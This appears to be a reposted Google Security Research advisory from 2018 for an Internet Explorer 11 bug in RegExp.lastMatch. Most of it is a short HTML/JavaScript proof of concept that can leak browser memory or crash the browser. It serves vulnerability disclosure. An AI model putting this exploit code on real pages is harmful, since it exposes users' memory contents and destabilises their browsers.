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Internet Explorer - 'RegExp.lastMatch' Memory Disclosure
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来源：Google Security Research 作者：Google 发布时间：2018-03-21
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/*
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.
This was tested on IE11 running on Window 7 64-bit with the latest patches applied.
PoC:
=========================================
*/
<!-- saved from url=(0014)about:internet -->
<script>
function main() {
RegExp.input = {toString: f};
alert(RegExp.lastMatch);
}
var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");
function f() {
String.prototype.match.call(input, "bbbbbbbbbb");
}
main();
</script>
/*
=========================================
Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
*/
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